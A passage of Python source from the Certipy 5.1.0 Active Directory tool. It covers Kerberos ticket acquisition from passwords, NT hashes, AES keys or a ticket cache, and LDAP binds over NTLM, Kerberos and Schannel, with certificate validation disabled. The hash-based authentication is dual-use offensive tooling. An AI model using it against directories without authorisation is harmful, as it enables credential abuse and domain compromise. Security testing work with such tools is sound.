(KRB5CCNAME) 2. Request a new TGT using provided credentials if needed 3. Use the TGT to request a service ticket (TGS) 4. Handle encryption type fallbacks for compatibility with different KDCs Args: target: Target object with authentication details (username, domain, etc.) target_name: Hostname of the target server service: Service type (e.g., "HTTP", "HOST", "LDAP") Returns: Tuple containing: - TGS data (bytes) - Cipher object for encryption operations - Session key for subsequent communications - Authenticated username - Authenticated domain Raises: KerberosError: For Kerberos protocol errors (bad credentials, expired tickets, etc.) Exception: For general errors (missing cache files, misconfiguration) """ # Extract authentication details from target username = target.username password = target.password domain = target.domain lmhash = _convert_to_binary(target.lmhash) or b"" nthash = _convert_to_binary(target.nthash) or b"" aes_key = _convert_to_binary(target.aes) or b"" kdc_host = target.dc_ip tgt: Optional[Dict[str, Any]] = None tgs: Optional[Dict[str, Any]] = None # Step 1: Try to use existing ticket cache if available logging.debug("Checking for Kerberos ticket cache") ccache = None krb5ccname = os.getenv("KRB5CCNAME") if krb5ccname: try: ccache = CCache.loadFile(krb5ccname) logging.debug(f"Loaded Kerberos cache from {krb5ccname}") except Exception as e: logging.debug(f"Failed to load Kerberos cache: {e}") if ccache: # Validate cache and extract information if not ccache.principal: raise Exception("No principal found in CCache file") if not ccache.principal.realm: raise Exception("No realm/domain found in CCache file") # Extract domain from cache if needed ccache_domain = ccache.principal.realm["data"].decode("utf-8") if not domain: domain = ccache_domain logging.debug(f"Domain retrieved from CCache: {domain}") # Extract username from cache components ccache_username = "/".join( map(lambda x: x["data"].decode(), ccache.principal.components) ) # Try to find appropriate credentials in cache # First look for the specific service ticket principal = f"{service}/{target_name.upper()}@{domain.upper()}" creds = ccache.getCredential(principal) if creds is None: # If service ticket not found, look for TGT principal = f"krbtgt/{domain.upper()}@{domain.upper()}" creds = ccache.getCredential(principal) if creds is not None: tgt = creds.toTGT() logging.debug("Using TGT from cache") else: logging.debug("No valid credentials found in cache") else: tgs = creds.toTGS(principal) logging.debug(f"Using {service} ticket from cache") # Validate username from credentials or cache if creds is not None: ccache_username = ( creds["client"].prettyPrint().split(b"@")[0].decode("utf-8") ) logging.debug( f"Username retrieved from CCache credential: {ccache_username}" ) elif ccache.principal.components: ccache_username = ccache.principal.components[0]["data"].decode("utf-8") logging.debug( f"Username retrieved from CCache principal: {ccache_username}" ) # Verify username matches if specified if username and ccache_username.lower() != username.lower(): logging.warning( f"Username {username!r} does not match username in CCache {ccache_username!r}" ) tgt = None tgs = None else: username = ccache_username # Verify domain matches if specified if domain and ccache_domain.lower() != domain.lower(): logging.warning( f"Domain {domain!r} does not match domain in CCache {ccache_domain!r}" ) # Step 2: Set up the client principal user_principal = Principal( username, type=e2i(constants.PrincipalNameType.NT_PRINCIPAL) ) kdc_rep = bytes() cipher: Optional[type] = None session_key: Optional[Key] = None rc4_fallback_attempted = False # Step 3: Authentication flow - try to get TGT then TGS while True: try: # Step 3.1: Get or use TGT if tgt is None: if tgs is None: # Request new TGT if we don't have one logging.debug(f"Getting TGT for {username!r}@{domain!r}") # Check if we have a cached TGT cache_key = (username, domain, lmhash, nthash, aes_key, kdc_host) if cache_key in TGT_CACHE: logging.debug(f"Using cached TGT for {username!r}@{domain!r}") kdc_rep, cipher, session_key = TGT_CACHE[cache_key] else: if not password and not lmhash and not nthash and not aes_key: raise ValueError("No credentials provided for TGT request") # Request new TGT kdc_rep, cipher, _, session_key = getKerberosTGT( user_principal, password, domain, lmhash, nthash, aes_key, kdc_host # type: ignore ) # Cache the TGT for future use TGT_CACHE[cache_key] = ( cast(bytes, kdc_rep), cast(type, cipher), cast(Key, session_key), ) logging.debug(f"Got TGT for {username!r}@{domain!r}") else: # If we already have a TGS, no need for TGT kdc_rep = tgs["KDC_REP"] cipher = tgs["cipher"] session_key = tgs["sessionKey"] logging.debug( f"Using existing TGS for {username!r}@{domain!r} for {service!r} service" ) break else: # Use existing TGT kdc_rep = tgt["KDC_REP"] cipher = tgt["cipher"] session_key = tgt["sessionKey"] # Step 3.2: Get or use TGS if tgs is None: # Format the Service Principal Name (SPN) spn = f"{service}/{target_name}" server_principal = Principal( spn, type=e2i(constants.PrincipalNameType.NT_SRV_INST), ) logging.debug(f"Getting TGS for {spn!r}") # Check if we have a cached TGS cache_key = (spn, domain, kdc_host, kdc_rep, cipher, session_key) if cache_key in TGS_CACHE: logging.debug(f"Using cached TGS for {spn!r}") kdc_rep, cipher, session_key = TGS_CACHE[cache_key] else: # Request new TGS kdc_rep, cipher, _, session_key = getKerberosTGS( server_principal, domain, kdc_host, kdc_rep, cipher, session_key ) # Cache the TGS for future use TGS_CACHE[cache_key] = (kdc_rep, cipher, session_key) logging.debug(f"Got TGS for {spn!r}") break else: # Use existing TGS kdc_rep = tgs["KDC_REP"] cipher = tgs["cipher"] session_key = tgs["sessionKey"] break except KerberosError as e: # Handle encryption type incompatibility if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP: # Fall back to RC4 if using password auth without explicit hashes if ( not rc4_fallback_attempted and not lmhash and not nthash and not aes_key and password and not tgt and not tgs ): from impacket.ntlm import compute_lmhash, compute_nthash logging.warning( "AES encryption not supported by KDC, falling back to RC4" ) lmhash = compute_lmhash(password) nthash = compute_nthash(password) rc4_fallback_attempted = True # Clear cache entries that might have used AES tgt = None continue else: logging.error( f"KDC doesn't support the requested encryption type: {e}" ) raise else: logging.error(f"Kerberos error: {e} (Error code: {e.getErrorCode()})") raise except Exception as e: # Handle other exceptions with more detailed error messages logging.error(f"Error during Kerberos authentication: {e}") raise # Step 4: Extract client information from ticket ticket = decoder.decode(kdc_rep, asn1Spec=TGS_REP())[0] client_name = Principal() client_name = client_name.from_asn1(ticket, "crealm", "cname") # Extract the username and domain from the client name username = "@".join(str(client_name).split("@")[:-1]) domain = client_name.realm or "" return kdc_rep, cast(type, cipher), cast(Key, session_key), username, domain Certipy-5.1.0/certipy/lib/ldap.py000077500000000000000000001373511521657466500167110ustar00rootroot00000000000000""" LDAP connection and query functionality for Certipy. This module provides classes and methods for: - Establishing LDAP/LDAPS connections to Active Directory - Performing common search and modification operations - Mapping between security identifiers (SIDs) and account objects - Managing user and group membership information - Handling various authentication methods (NTLM, Kerberos, simple bind) Main components: - LDAPEntry: Dictionary-like class for LDAP objects with attribute access methods - LDAPConnection: Main class for connecting to and querying LDAP servers - ExtendedLdapConnection: Extends ldap3 Connection with custom encryption support - ExtendedStrategy: Custom LDAP strategy for handling secure communications """ import socket import ssl import tempfile from typing import Any, Dict, List, Optional, Set, Tuple, Union, cast import ldap3 import ldap3.strategy import ldap3.strategy.sync from cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes from impacket.ntlm import NTLMSSP_NEGOTIATE_SEAL, NTLMAuthChallenge from ldap3.core.exceptions import LDAPExceptionError from ldap3.core.results import ( RESULT_INVALID_CREDENTIALS, RESULT_STRONGER_AUTH_REQUIRED, RESULT_SUCCESS, ) from ldap3.operation.bind import bind_operation from ldap3.protocol import rfc4511 from ldap3.protocol.microsoft import security_descriptor_control from ldap3.strategy.base import BaseStrategy from ldap3.utils.asn1 import encode as _ldap3_encode # type: ignore from pyasn1.codec.ber.encoder import Encoder ldap3_encode = cast(Encoder, _ldap3_encode) from certipy.lib.certificate import cert_to_pem, key_to_pem, x509 from certipy.lib.channel_binding import get_channel_binding_data_from_ssl_socket from certipy.lib.constants import WELLKNOWN_SIDS from certipy.lib.errors import handle_error from certipy.lib.kerberos import KerberosCipher, get_kerberos_type1 from certipy.lib.logger import logging from certipy.lib.ntlm import NTLMCipher, ntlm_authenticate, ntlm_negotiate from certipy.lib.target import Target def get_account_type(entry: "LDAPEntry") -> str: """ Determine the type of Active Directory account based on sAMAccountType and objectClass. Args: entry: LDAP entry containing account attributes Returns: Account type as string: "Group", "Computer", "User", "TrustAccount", or "Domain" """ account_type = entry.get("sAMAccountType") object_class = entry.get("objectClass") or [] # Group accounts if account_type in [268435456, 268435457, 536870912, 536870913]: return "Group" # Computer accounts elif account_type in [805306369]: return "Computer" # User accounts (including managed service accounts) elif ( account_type in [805306368] or "msDS-GroupManagedServiceAccount" in object_class or "msDS-ManagedServiceAccount" in object_class ): return "User" # Trust accounts elif account_type in [805306370]: return "TrustAccount" # Default to Domain else: return "Domain" class LDAPEntry(Dict[str, Any]): """ Dictionary-like class representing an LDAP entry with helper methods. This class extends the standard dictionary to provide convenient access to LDAP attributes and raw attribute values. """ def get(self, key: str, default: Any = None) -> Any: """ Get an attribute value from the LDAP entry with support for default values. This method provides convenient access to LDAP attributes and handles several special cases, including missing attributes and empty lists. Args: key: Attribute name to retrieve default: Value to return if attribute is missing or empty (default: None) Returns: Attribute value if present and not empty, otherwise the default value """ if key not in self.__getitem__("attributes").keys(): return default item = self.__getitem__("attributes").__getitem__(key) # Return default for empty lists if isinstance(item, list) and len(item) == 0: return default return item def set(self, key: str, value: Any) -> None: """ Set an attribute value in the LDAP entry. Args: key: Attribute name to set value: Value to assign to the attribute """ return self.__getitem__("attributes").__setitem__(key, value) def get_raw(self, key: str) -> Any: """ Get the raw (unprocessed) attribute value from the LDAP entry. Args: key: Attribute name to retrieve Returns: Raw attribute value or None if not present """ if key not in self.__getitem__("raw_attributes").keys(): return None return self.__getitem__("raw_attributes").__getitem__(key) class ExtendedStrategy(ldap3.strategy.sync.SyncStrategy): """ Extended strategy class for LDAP connections with encryption support. This class extends the default SyncStrategy to provide custom sending and receiving methods for LDAP messages. It handles encryption and decryption of messages using NTLM or Kerberos ciphers, as well as custom error handling. """ def __init__(self, connection: "ExtendedLdapConnection") -> None: """ Initialize the extended strategy with a connection. Args: connection: The ExtendedLdapConnection to use """ super().__init__(connection) self._connection = connection # Override the default receiving method to use the custom implementation self.receiving = self._receiving self.sequence_number = 0 def sending(self, ldap_message: Any) -> None: """ Send an LDAP message, optionally encrypting it first. Args: ldap_message: The LDAP message to send Raises: socket.error: If sending fails """ try: encoded_message = cast(bytes, ldap3_encode(ldap_message)) # Encrypt the message if required and not in SASL progress if self._connection.should_encrypt and not self.connection.sasl_in_progress: encoded_message = self._connection._encrypt(encoded_message) self.sequence_number += 1 self.connection.socket.sendall(encoded_message) except socket.error as e: self.connection.last_error = f"socket sending error: {e}" logging.error(f"Failed to send LDAP message: {e}") handle_error() raise # Update usage statistics if enabled if self.connection.usage: self.connection._usage.update_transmitted_message( self.connection.request, len(encoded_message) ) def _receiving(self) -> List[bytes]: # type: ignore """ Receive data over the socket and handle message encryption/decryption. Returns: List of received LDAP messages Raises: Exception: On socket or receive errors """ messages = [] receiving = True unprocessed = b"" data = b"" get_more_data = True sasl_total_bytes_received = 0 sasl_received_data = b"" sasl_next_packet = b"" sasl_buffer_length = -1 while receiving: if get_more_data: try: data = self.connection.socket.recv(self.socket_size) except (OSError, socket.error, AttributeError) as e: self.connection.last_error = f"error receiving data: {e}" try: self.close() except (socket.error, LDAPExceptionError): pass logging.error(f"Failed to receive LDAP message: {e}") handle_error() raise # Handle encrypted messages (from NTLM or Kerberos) if ( self._connection.should_encrypt and not self.connection.sasl_in_progress ): data = sasl_next_packet + data if sasl_received_data == b"" or sasl_next_packet: # Get the size of the encrypted message sasl_buffer_length = int.from_bytes(data[0:4], "big") data = data[4:] sasl_next_packet = b"" sasl_total_bytes_received += len(data) sasl_received_data += data # Check if we have received the complete encrypted message if sasl_total_bytes_received >= sasl_buffer_length: # Handle multi-packet SASL messages # When the LDAP response is split across multiple TCP packets, # the SASL buffer length might not match our socket buffer size sasl_next_packet = sasl_received_data[sasl_buffer_length:] # Decrypt the received message sasl_received_data = self._connection._decrypt( sasl_received_data[:sasl_buffer_length] ) sasl_total_bytes_received = 0 unprocessed += sasl_received_data sasl_received_data = b"" else: unprocessed += data if len(data) > 0: # Try to compute the message length length = BaseStrategy.compute_ldap_message_size(unprocessed) if length == -1: # too few data to decode message length get_more_data = True continue if len(unprocessed) < length: get_more_data = True else: messages.append(unprocessed[:length]) unprocessed = unprocessed[length:] get_more_data = False if len(unprocessed) == 0: receiving = False else: receiving = False return messages class ExtendedLdapConnection(ldap3.Connection): """ Extended LDAP connection class with support for secure communication. This class extends the ldap3.Connection class to provide additional functionality for LDAP operations, including support for NTLM and Kerberos encryption, channel binding, and custom error handling. """ def __init__( self, target: Target, *args: Any, channel_binding: bool = True, **kwargs: Any ) -> None: """ Initialize an extended LDAP connection with the specified target. Args: target: Target object containing connection details channel_binding: Whether to use channel binding (default: True) *args: Additional positional arguments for the parent class **kwargs: Additional keyword arguments for the parent class """ super().__init__(*args, **kwargs) # Replace standard strategy with extended strategy self.strategy = ExtendedStrategy(self) # Store target and connection properties self.target = target self.channel_binding = channel_binding self.negotiated_flags = 0 # Encryption-related attributes self.ntlm_cipher: Optional[NTLMCipher] = None self.kerberos_cipher: Optional[KerberosCipher] = None self.should_encrypt = False # Alias important methods from strategy for direct access self.send = self.strategy.send self.open = self.strategy.open self.get_response = self.strategy.get_response self.post_send_single_response = self.strategy.post_send_single_response self.post_send_search = self.strategy.post_send_search def _encrypt(self, data: bytes) -> bytes: """ Encrypt LDAP message data using the appropriate cipher. Args: data: Plaintext data to encrypt Returns: Encrypted data with appropriate headers and signatures """ if self.ntlm_cipher is not None: # NTLM encryption signature, data = self.ntlm_cipher.encrypt(data) data = signature.getData() + data data = len(data).to_bytes(4, byteorder="big", signed=False) + data elif self.kerberos_cipher is not None: # Kerberos encryption data, signature = self.kerberos_cipher.encrypt( data, self.strategy.sequence_number ) data = signature + data data = len(data).to_bytes(4, byteorder="big", signed=False) + data return data def _decrypt(self, data: bytes) -> bytes: """ Decrypt LDAP message data using the appropriate cipher. Args: data: Encrypted data to decrypt Returns: Decrypted plaintext data """ if self.ntlm_cipher is not None: # NTLM decryption _, data = self.ntlm_cipher.decrypt(data) elif self.kerberos_cipher is not None: # Kerberos decryption data = self.kerberos_cipher.decrypt(data) return data def do_ntlm_bind(self, controls: Any) -> Dict[str, Any]: """ Perform NTLM bind operation with optional controls. This method implements the complete NTLM authentication flow: 1. Sicily package discovery to verify NTLM support 2. NTLM negotiate message exchange 3. Challenge/response handling with optional channel binding 4. Session key establishment and encryption setup Args: controls: Optional LDAP controls to apply during the bind operation Returns: Result of the bind operation Raises: Exception: If NTLM authentication fails or is not supported """ self.last_error = None # type: ignore with self.connection_lock: if not self.sasl_in_progress: self.sasl_in_progress = True # NTLM uses SASL-like authentication flow try: # Step 1: Sicily package discovery to check for NTLM support request = rfc4511.BindRequest() request["version"] = rfc4511.Version(self.version) request["name"] = "" request[ "authentication" ] = rfc4511.AuthenticationChoice().setComponentByName( "sicilyPackageDiscovery", rfc4511.SicilyPackageDiscovery("") ) response = self.post_send_single_response( self.send("bindRequest", request, controls) ) result = response[0] if not "server_creds" in result: raise Exception( "Server did not return available authentication packages during discovery request" ) # Check if NTLM is supported sicily_packages = result["server_creds"].decode().split(";") if not "NTLM" in sicily_packages: logging.error( f"NTLM authentication not available on server. Supported packages: {sicily_packages}" ) raise Exception("NTLM not available on server") # Step 2: Send NTLM negotiate message use_signing = self.target.ldap_signing and not self.server.ssl logging.debug( f"Using NTLM signing: {use_signing} (LDAP signing: {self.target.ldap_signing}, SSL: {self.server.ssl})" ) negotiate = ntlm_negotiate(use_signing) request = rfc4511.BindRequest() request["version"] = rfc4511.Version(self.version) request["name"] = "NTLM" request[ "authentication" ] = rfc4511.AuthenticationChoice().setComponentByName( "sicilyNegotiate", rfc4511.SicilyNegotiate(negotiate.getData()) ) response = self.post_send_single_response( self.send("bindRequest", request, controls) ) result = response[0] if result["result"] != RESULT_SUCCESS: logging.error(f"NTLM negotiate failed: {result}") return result if not "server_creds" in result: logging.error( "Server did not return NTLM challenge during bind request" ) raise Exception( "Server did not return NTLM challenge during bind request" ) # Step 3: Process challenge and prepare authenticate response challenge = NTLMAuthChallenge() challenge.fromString(result["server_creds"]) channel_binding_data = None use_channel_binding = ( self.target.ldap_channel_binding and self.server.ssl ) logging.debug( f"Using channel binding signing: {use_channel_binding} (LDAP channel binding: {self.target.ldap_channel_binding}, SSL: {self.server.ssl})" ) if use_channel_binding: if not isinstance(self.socket, ssl.SSLSocket): raise Exception( "LDAP server is using SSL but the connection is not an SSL socket" ) logging.debug( "Using LDAP channel binding for NTLM authentication" ) # Extract channel binding data from SSL socket channel_binding_data = get_channel_binding_data_from_ssl_socket( self.socket ) # Generate NTLM authenticate message challenge_response, session_key, negotiated_flags = ( ntlm_authenticate( negotiate, challenge, self.target.username, self.target.password or "", self.target.domain, self.target.nthash, channel_binding_data=channel_binding_data, ) ) # Step 4: Set up encryption if negotiated self.negotiated_flags = negotiated_flags self.should_encrypt = ( negotiated_flags & NTLMSSP_NEGOTIATE_SEAL == NTLMSSP_NEGOTIATE_SEAL ) if self.should_encrypt: self.ntlm_cipher = NTLMCipher( negotiated_flags, session_key, ) # Step 5: Complete authentication with the NTLM authenticate message request = rfc4511.BindRequest() request["version"] = rfc4511.Version(self.version) request["name"] = "" request[ "authentication" ] = rfc4511.AuthenticationChoice().setComponentByName( "sicilyResponse", rfc4511.SicilyResponse(challenge_response.getData()), ) response = self.post_send_single_response( self.send("bindRequest", request, controls) ) result = response[0] if result["result"] != RESULT_SUCCESS: logging.error(f"LDAP NTLM authentication failed: {result}") else: logging.debug(f"LDAP NTLM authentication successful") return result finally: self.sasl_in_progress = False else: raise Exception("SASL authentication already in progress") class LDAPConnection: """ Manages connections and operations to Active Directory via LDAP/LDAPS. This class handles authentication, searching, and modifying objects in Active Directory using the ldap3 library with extended functionality for secure operations. """ def __init__( self, target: Target, schannel_auth: Optional[Tuple[x509.Certificate, PrivateKeyTypes]] = None, ) -> None: """ Initialize an LDAP connection with the specified target. Args: target: Target object containing connection details ldap_pfx: Optional tuple containing LDAP PFX file path and password """ self.target = target self.schannel_auth = schannel_auth self.use_ssl = target.ldap_scheme == "ldaps" # Determine port based on scheme and target configuration if self.use_ssl: self.port = int(target.ldap_port) if target.ldap_port is not None else 636 else: self.port = int(target.ldap_port) if target.ldap_port is not None else 389 # Connection-related attributes self.default_path: Optional[str] = None self.configuration_path: Optional[str] = None self.ldap_server: Optional[ldap3.Server] = None self.ldap_conn: Optional[Union["ExtendedLdapConnection", ldap3.Connection]] = ( None ) self.domain: Optional[str] = None # Caching and tracking self.sid_map: Dict[str, LDAPEntry] = {} self._domain_sid: Optional[str] = None self._users: Dict[str, LDAPEntry] = {} self._user_sids: Dict[str, Set[str]] = {} self.warned_missing_domain_sid_lookup: bool = False def connect(self) -> None: """ Connect to the LDAP server with the specified SSL/TLS version. This method establishes a connection to the LDAP server and handles authentication using the credentials from the target object. It supports multiple authentication methods: - Kerberos - NTLM - Simple bind Raises: Exception: If connection or authentication fails """ if self.target.target_ip is None: raise Exception("Target IP is not set") if self.schannel_auth is not None: return self.schannel_connect() # Format user credentials user = f"{self.target.domain}\\{self.target.username}" user_upn = f"{self.target.username}@{self.target.domain}" # Create server object based on scheme if self.use_ssl: # Configure TLS for LDAPS tls = ldap3.Tls( validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLS_CLIENT, ciphers="ALL:@SECLEVEL=0", ssl_options=[ssl.OP_ALL], ) ldap_server = ldap3.Server( self.target.target_ip, use_ssl=True, port=self.port, get_info=ldap3.ALL, tls=tls, connect_timeout=self.target.timeout, ) else: ldap_server = ldap3.Server( self.target.target_ip, use_ssl=False, port=self.port, get_info=ldap3.ALL, connect_timeout=self.target.timeout, ) # Authentication based on method if self.target.do_kerberos: logging.debug("Authenticating to LDAP server using Kerberos authentication") # Create connection for Kerberos authentication ldap_conn = ExtendedLdapConnection( self.target, ldap_server, receive_timeout=self.target.timeout * 10, ) self._kerberos_login(ldap_conn) else: auth_method = "SIMPLE" if self.target.do_simple else "NTLM" logging.debug( f"Authenticating to LDAP server using {auth_method} authentication" ) # Set up credentials for NTLM or simple authentication if self.target.hashes is not None: ldap_pass = f"{self.target.lmhash}:{self.target.nthash}" else: ldap_pass = self.target.password # Create connection ldap_conn = ExtendedLdapConnection( self.target, ldap_server, user=user_upn if self.target.do_simple else user, password=ldap_pass, authentication=ldap3.SIMPLE if self.target.do_simple else ldap3.NTLM, auto_referrals=False, receive_timeout=self.target.timeout * 10, ) # Perform bind operation if not already bound if not ldap_conn.bound: bind_result = ldap_conn.bind() if not bind_result: result = ldap_conn.result self._check_ldap_result(result) # Get schema information if not already available if ldap_server.schema is None: ldap_server.get_info_from_server(ldap_conn) if ldap_conn.result["result"] != RESULT_SUCCESS: if ldap_conn.result["message"].split(":")[0] == "000004DC": raise Exception( "Failed to bind to LDAP. This is most likely due to an invalid username" ) if ldap_server.schema is None: raise Exception("Failed to get LDAP schema") logging.debug(f"Bound to {ldap_server}") # Store connection objects and directory paths self.ldap_conn = ldap_conn self.ldap_server = ldap_server self.default_path = self.ldap_server.info.other["defaultNamingContext"][0] self.configuration_path = self.ldap_server.info.other[ "configurationNamingContext" ][0] logging.debug(f"Default path: {self.default_path}") logging.debug(f"Configuration path: {self.configuration_path}") # Extract domain name from LDAP service name self.domain = self.ldap_server.info.other["ldapServiceName"][0].split("@")[-1] def schannel_connect(self) -> None: if self.schannel_auth is None: raise Exception( "Schannel authentication requires a certificate and private key" ) if self.target.target_ip is None: raise Exception("Target IP is not set") cert, key = self.schannel_auth # Create temporary files for certificate and key key_file = tempfile.NamedTemporaryFile(delete=False) _ = key_file.write(key_to_pem(key)) key_file.close() cert_file = tempfile.NamedTemporaryFile(delete=False) _ = cert_file.write(cert_to_pem(cert)) cert_file.close() # Configure TLS for LDAPS tls = ldap3.Tls( local_private_key_file=key_file.name, local_certificate_file=cert_file.name, validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLS_CLIENT, ciphers="ALL:@SECLEVEL=0", ssl_options=[ssl.OP_ALL], ) ldap_server = ldap3.Server( self.target.target_ip, use_ssl=self.use_ssl, port=self.port, get_info=ldap3.ALL, tls=tls, connect_timeout=self.target.timeout, ) logging.debug("Authenticating to LDAP server using Schannel authentication") logging.info( f"Connecting to {f'{self.target.ldap_scheme}://{self.target.target_ip}:{self.port}'!r}" ) # Configure authentication parameters for non-SSL connections conn_kwargs = {} if not self.use_ssl: # Configure SASL credentials if user DN is specified sasl_credentials = None if self.target.ldap_user_dn: sasl_credentials = f"dn:{self.target.ldap_user_dn}" if sasl_credentials: logging.info(f"Using DN: {sasl_credentials!r}") else: logging.warning( "No DN specified for LDAP authentication. " "Try to use '-ldap-user-dn' to specify a user DN if authentication fails" ) conn_kwargs = { "authentication": ldap3.SASL, "sasl_mechanism": ldap3.EXTERNAL, "auto_bind": ldap3.AUTO_BIND_TLS_BEFORE_BIND, "sasl_credentials": sasl_credentials, } # Create connection try: ldap_conn = ldap3.Connection( ldap_server, raise_exceptions=True, auto_referrals=False, receive_timeout=self.target.timeout * 10, **conn_kwargs, # type: ignore ) except Exception as e: logging.error(f"Failed to connect to LDAP server: {e}") raise # Open the connection if using SSL. Non-SSL connections are opened automatically. if self.use_ssl: ldap_conn.open() # Get authenticated identity who_am_i = ldap_conn.extend.standard.who_am_i() if not who_am_i: raise Exception( "Failed to authenticate to LDAP server. Server did not return an identity (whoAmI)" ) logging.info(f"Authenticated to {self.target.target_ip!r} as: {who_am_i!r}") # Get schema information if not already available if ldap_server.schema is None: ldap_server.get_info_from_server(ldap_conn) if ldap_conn.result["result"] != RESULT_SUCCESS: if ldap_conn.result["message"].split(":")[0] == "000004DC": raise Exception( "Failed to bind to LDAP. This is most likely due to an invalid username" ) if ldap_server.schema is None: raise Exception("Failed to get LDAP schema") logging.debug(f"Bound to {ldap_server}") # Store connection objects and directory paths self.ldap_conn = ldap_conn self.ldap_server = ldap_server self.default_path = self.ldap_server.info.other["defaultNamingContext"][0] self.configuration_path = self.ldap_server.info.other[ "configurationNamingContext" ][0] logging.debug(f"Default path: {self.default_path}") logging.debug(f"Configuration path: {self.configuration_path}") # Extract domain name from LDAP service name self.domain = self.ldap_server.info.other["ldapServiceName"][0].split("@")[-1] def _kerberos_login(self, connection: "ExtendedLdapConnection") -> None: """ Perform Kerberos authentication to LDAP server. Args: connection: LDAP connection object Raises: Exception: If Kerberos authentication fails """ # Ensure connection is open if connection.closed: connection.open(read_server_info=True) # Setup channel binding if enabled and using SSL channel_binding_data = None if self.target.ldap_channel_binding and connection.server.ssl: logging.debug("Using LDAP channel binding for Kerberos authentication") if not isinstance(connection.socket, ssl.SSLSocket): raise Exception( "LDAP server is using SSL but the connection is not an SSL socket" ) # Extract channel binding data from SSL socket channel_binding_data = get_channel_binding_data_from_ssl_socket( connection.socket ) # Get Kerberos Type 1 message cipher, session_key, blob, username = get_kerberos_type1( self.target, target_name=self.target.remote_name or "", channel_binding_data=channel_binding_data, signing=self.target.ldap_signing and not connection.server.ssl, ) # Create SASL bind request request = bind_operation( connection.version, ldap3.SASL, username, None, "GSS-SPNEGO", blob, ) # Send bind request and process response connection.sasl_in_progress = True response = connection.post_send_single_response( connection.send("bindRequest", request, None) ) connection.sasl_in_progress = False result = response[0] if result["result"] != RESULT_SUCCESS: logging.error(f"LDAP Kerberos authentication failed: {result}") else: logging.debug(f"LDAP Kerberos authentication successful") self._check_ldap_result(result) # Set up encryption if signing is requested if self.target.ldap_signing and not connection.server.ssl: connection.kerberos_cipher = KerberosCipher(cipher, session_key) connection.should_encrypt = self.target.ldap_signing connection.bound = True def _check_ldap_result(self, result: Dict[str, Any]) -> None: """ Handle LDAP errors based on the result dictionary. Args: result: Result dictionary from the LDAP bind operation Raises: Exception: If an error occurs during the LDAP operation """ if result["result"] != RESULT_SUCCESS: if ( result["result"] == RESULT_INVALID_CREDENTIALS and result["message"].split(":")[0] == "80090346" ): raise Exception( ( "LDAP authentication refused because channel binding policy was not satisfied. " "Try one of these options:\n" "- Remove '-no-ldap-channel-binding'\n" "- Use '-ldap-scheme ldap' to disable TLS encryption\n" "- Use '-ldap-simple-auth' for SIMPLE bind authentication" ) ) elif ( result["result"] == RESULT_STRONGER_AUTH_REQUIRED and result["message"].split(":")[0] == "00002028" ): raise Exception( "LDAP authentication refused because LDAP signing is required. " "Try one of these options:\n" "- Remove '-no-ldap-signing' to enable LDAP signing\n" "- Use '-ldap-scheme ldaps' to use TLS encryption\n" "- Use '-ldap-simple-auth' for SIMPLE bind authentication" ) raise Exception(f"Kerberos authentication failed: {result}") def add(self, *args: Any, **kwargs: Any) -> Any: """ Add a new entry to the LDAP directory. Args: *args: Arguments to pass to the underlying LDAP add operation **kwargs: Keyword arguments to pass to the underlying LDAP add operation Returns: Result of the add operation Raises: Exception: If LDAP connection is not established """ if not self.ldap_conn: raise Exception("LDAP connection is not established") self.ldap_conn.add(*args, **kwargs) return self.ldap_conn.result def delete(self, *args: Any, **kwargs: Any) -> Any: """ Delete an entry from the LDAP directory. Args: *args: Arguments to pass to the underlying LDAP delete operation **kwargs: Keyword arguments to pass to the underlying LDAP delete operation Returns: Result of the delete operation Raises: Exception: If LDAP connection is not established """ if not self.ldap_conn: raise Exception("LDAP connection is not established") self.ldap_conn.delete(*args, **kwargs) return self.ldap_conn.result def modify(self, *args: Any, **kwargs: Any) -> Any: """ Modify an existing entry in the LDAP directory. Args: *args: Arguments to pass to the underlying LDAP modify operation **kwargs: Keyword arguments to pass to the underlying LDAP modify operation Returns: Result of the modify operation Raises: Exception: If LDAP connection is not established """ if not self.ldap_conn: raise Exception("LDAP connection is not established") self.ldap_conn.modify(*args, **kwargs) return self.ldap_conn.result def search( self, search_filter: str, attributes: Union[str, List[str]] = ldap3.ALL_ATTRIBUTES, search_base: Optional[str] = None, query_sd: bool = False, **kwargs: Any, ) -> List[LDAPEntry]: """ Search the LDAP directory with the given filter and return matching entries. Args: search_filter: LDAP search filter string attributes: List of attributes to retrieve or ldap3.ALL_ATTRIBUTES search_base: Base DN for the search, defaults to domain base query_sd: Whether to query security descriptors **kwargs: Additional arguments for the search operation Returns: List of matching LDAP entries Raises: Exception: If LDAP connection is not established """ if search_base is None: search_base = self.default_path # Set security descriptor control if requested if query_sd: controls = security_descriptor_control(sdflags=0x5) else: controls = None if self.ldap_conn is None: raise Exception("LDAP connection is not established") # Perform paged search to handle large result sets results = self.ldap_conn.extend.standard.paged_search( search_base=search_base, search_filter=search_filter, attributes=attributes, controls=controls, paged_size=200, generator=True, **kwargs, ) if self.ldap_conn.result["result"] != 0: logging.warning( f"LDAP search {search_filter!r} failed: " f"({self.ldap_conn.result['description']}) {self.ldap_conn.result['message']}" ) return [] # Convert search results to LDAPEntry objects entries = list( map( lambda entry: LDAPEntry(**entry), filter( lambda entry: entry["type"] == "searchResEntry", results, ), ) ) return entries def get_user( self, username: str, silent: bool = False, *args: Any, **kwargs: Any ) -> Optional[LDAPEntry]: """ Find a user by samAccountName. This method searches for a user by samAccountName and automatically handles computer account naming ($) if needed. Args: username: Username to search for (samAccountName) silent: Whether to suppress error logging for missing users *args: Additional arguments for the search **kwargs: Additional keyword arguments for the search Returns: User entry or None if not found """ def _get_user(username: str, *args: Any, **kwargs: Any) -> Optional[LDAPEntry]: """Helper function to search for a user, with caching.""" sanitized_username = username.lower().strip() # Return cached result if available if sanitized_username in self._users: return self._users[sanitized_username] # Search for the user results = self.search(f"(sAMAccountName={username})", *args, **kwargs) if len(results) != 1: return None # Cache the result self._users[sanitized_username] = results[0] return results[0] # Try without $ suffix first user = _get_user(username, *args, **kwargs) # Try with $ suffix (for computer accounts) if user is None and not username.endswith("$"): user = _get_user(f"{username}$", *args, **kwargs) # Log error if user not found and silent mode is not enabled if user is None and not silent: logging.error(f"Could not find user {username!r}") return user @property def domain_sid(self) -> Optional[str]: """ Get the domain's security identifier (SID). The domain SID is the base identifier used for all domain security principals. Returns: Domain SID or None if not found """ # Return cached value if available if self._domain_sid is not None: return self._domain_sid # Query domain object for SID results = self.search( "(objectClass=domain)", attributes=["objectSid"], ) if 